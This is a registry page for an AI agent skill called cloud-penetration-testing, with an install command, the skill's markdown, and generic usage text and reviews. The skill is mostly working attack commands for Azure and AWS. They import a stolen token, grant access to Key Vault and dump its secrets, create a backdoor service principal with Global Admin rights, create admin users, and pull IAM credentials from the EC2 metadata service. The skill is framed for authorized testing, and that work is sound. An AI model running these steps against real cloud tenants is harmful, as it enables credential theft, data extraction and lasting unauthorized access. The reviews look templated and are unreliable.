cloud-penetration-testing

davila7/claude-code-templates · updated Apr 8, 2026

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$npx skills add https://github.com/davila7/claude-code-templates --skill cloud-penetration-testing
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summary

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.

skill.md

Cloud Penetration Testing

Purpose

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.

Prerequisites

Required Tools

# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# Additional tools
pip install scoutsuite pacu

Required Knowledge

  • Cloud architecture fundamentals
  • Identity and Access Management (IAM)
  • API authentication mechanisms
  • DevOps and automation concepts

Required Access

  • Written authorization for testing
  • Test credentials or access tokens
  • Defined scope and rules of engagement

Outputs and Deliverables

  1. Cloud Security Assessment Report - Comprehensive findings and risk ratings
  2. Resource Inventory - Enumerated services, storage, and compute instances
  3. Credential Findings - Exposed secrets, keys, and misconfigurations
  4. Remediation Recommendations - Hardening guidance per platform

Core Workflow

Phase 1: Reconnaissance

Gather initial information about target cloud presence:

# Azure: Get federation info
curl "https://login.microsoftonline.com/[email protected]&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py

Phase 2: Azure Authentication

Authenticate to Azure environments:

# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService

Phase 3: Azure Enumeration

Discover Azure resources and permissions:

# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal

Phase 4: Azure Exploitation

Exploit Azure misconfigurations:

# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>

Phase 5: Azure Persistence

Establish persistence in Azure:

# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>

Phase 6: AWS Authentication

Authenticate to AWS environments:

# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity

Phase 7: AWS Enumeration

Discover AWS resources:

# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections

Phase 8: AWS Exploitation

Exploit AWS misconfigurations:

# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"

Phase 9: AWS Persistence

Establish persistence in AWS:

# List existing access keys
aws iam list-access-keys --user-name <username
how to use cloud-penetration-testing

How to use cloud-penetration-testing on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add cloud-penetration-testing
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills add https://github.com/davila7/claude-code-templates --skill cloud-penetration-testing

The skills CLI fetches cloud-penetration-testing from GitHub repository davila7/claude-code-templates and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/cloud-penetration-testing

Reload or restart Cursor to activate cloud-penetration-testing. Access the skill through slash commands (e.g., /cloud-penetration-testing) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

List & Monetize Your Skill

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Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.635 reviews
  • Kaira Nasser· Dec 12, 2024

    cloud-penetration-testing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.

  • Yusuf Chawla· Nov 7, 2024

    cloud-penetration-testing reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Kiara Chen· Nov 3, 2024

    cloud-penetration-testing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Layla Bansal· Oct 26, 2024

    Registry listing for cloud-penetration-testing matched our evaluation — installs cleanly and behaves as described in the markdown.

  • Zara Reddy· Oct 22, 2024

    We added cloud-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Oshnikdeep· Sep 17, 2024

    We added cloud-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Meera Verma· Sep 17, 2024

    Useful defaults in cloud-penetration-testing — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Tariq Jain· Sep 13, 2024

    Solid pick for teams standardizing on skills: cloud-penetration-testing is focused, and the summary matches what you get after install.

  • Yuki Okafor· Sep 5, 2024

    We added cloud-penetration-testing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Yuki Park· Aug 24, 2024

    cloud-penetration-testing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

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